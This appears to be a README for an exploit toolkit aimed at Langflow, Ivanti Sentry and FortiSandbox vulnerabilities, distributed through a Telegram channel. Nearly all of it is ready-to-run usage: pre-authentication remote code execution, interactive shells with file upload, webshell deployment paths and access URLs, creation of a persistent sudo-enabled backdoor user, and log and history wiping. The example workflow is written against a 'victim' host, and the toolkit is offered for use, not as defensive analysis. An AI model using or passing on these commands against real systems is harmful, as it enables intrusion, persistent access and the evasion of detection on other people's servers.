(CVE-2026-5027) and (CVE-2026-10520) (CVE-2026-25089) exploiter:

Clone

git clone https://github.com/Layer-6/CVE-2026-5027-Langflow.git
cd CVE-2026-5027-Langflow

Usage (exploit.py) file

Automatic testing and exploitation.

python3 exploit.py -u https://target.com

CLI custom settings

Use your own webshell when the shell is inside a folder:

python3 exploit.py -u https://target.com --shell 

(📁shells/my-shell.php)

When the shell is in the tool folder or inside the terminal without a folder:

python3 exploit.py -u https://target.com --shell my-shell.php

Your webshell can be (PHP, Python (CGI), Perl, Ruby, ASPX).

You can set timeout with --t and load/use payload or custom path from folders and files with --p:

python3 exploit.py -u https://target.com | -t 58 | |-p payloads.txt | | --upload-paths Dirs.txt |

Example:

python3 exploit.py -u https://target.com --shell shells/myshell.php -t 58 -p payloads.txt --upload-paths dirs.txt

Usage (exploitt.py) file

Designed for the following CVEs:

· CVE-2026-10520 (CVSS 10.0)

· CVE-2026-25089 (CVSS 9.1)

Pre‑auth Remote Code Execution

No credentials required.

📖 Usage

Quick start - interactive menu (no arguments)

python3 exploitt.py

Then follow the prompts:

1. Choose target type (Ivanti or Forti)

2. Enter target URL (e.g. https://192.168.1.100:8443)
3. Set timeout, proxy, debug mode
4. Choose action (command, shell, webshell, etc.)

Command line (advanced)

1. Ivanti Sentry (CVE-2026-10520)

# Check if vulnerable
python3 exploitt.py -u https://ivanti.example.com:8443 --type ivanti -c "id"

# Interactive shell
python3 exploitt.py -u https://ivanti.example.com:8443 --type ivanti -s

# Deploy JSP webshell (Tomcat)
python3 exploitt.py -u https://ivanti.example.com:8443 --type ivanti -w

# Create backdoor user + clean logs
python3 exploitt.py -u https://ivanti.example.com:8443 --type ivanti -p --clean

2. FortiSandbox (CVE-2026-25089)

# Single command
python3 exploitt.py -u https://forti.example.com --type forti -c "whoami"

# Interactive shell with file upload
python3 exploitt.py -u https://forti.example.com --type forti -s
# Inside shell: upload /path/local.txt /remote/path.txt

# Deploy PHP webshell
python3 exploitt.py -u https://forti.example.com --type forti -w

# Full auto‑pwn (check, shell, webshell, persist, clean)
python3 exploitt.py -u https://forti.example.com --type forti -s -w -p --clean

3. Auto‑detection (script guesses the service)

python3 exploitt.py -u https://target.example.com -c "id"

4. Use proxy & debug

python3 exploitt.py -u https://target:8443 --proxy http://127.0.0.1:8080 --debug -c "uname -a"

Available command‑line arguments

Argument Description -u, --url Target URL (e.g. https://192.168.1.100:8443) --type Force service: ivanti or forti (optional, auto‑detect) -t, --timeout Request timeout in seconds (default 30) --proxy HTTP/HTTPS proxy (e.g. http://127.0.0.1:8080) -d, --debug Enable debug output --ua Custom User‑Agent string -c, --cmd Execute a single command and exit -s, --shell Launch interactive shell -w, --webshell Deploy a webshell (PHP for Forti, JSP for Ivanti) -p, --persist Create persistent sudo‑enabled backdoor user --clean Wipe logs and command history after exploitation

Interactive shell commands

Inside the interactive shell you can use:

Command Example Description normal command id Execute any system command upload upload exploit.sh /tmp/backdoor.sh Upload local file to remote host exit exit Quit the shell

Webshell deployment details

· Ivanti Sentry – deploys a .jsp shell inside Tomcat webapps (/usr/local/tomcat/webapps/ROOT/) · Access via https://target/shell_random.jsp?cmd=whoami · FortiSandbox – deploys a .php shell inside the web root (/var/www/html/) · Access via https://target/shell_random.php?cmd=whoami

Example workflow (complete penetration test)

# 1. Detect and exploit
python3 exploitt.py -u https://victim.com:8443 --type ivanti -s

# 2. Inside the shell, check privileges
id

# 3. Deploy webshell for persistence
python3 exploitt.py -u https://victim.com:8443 --type ivanti -w

# 4. Create a backdoor user
python3 exploitt.py -u https://victim.com:8443 --type ivanti -p

# 5. Clean logs
python3 exploitt.py -u https://victim.com:8443 --type ivanti --clean

By Red Telegram channel:

https://t.me/Red_Rooted_Ghost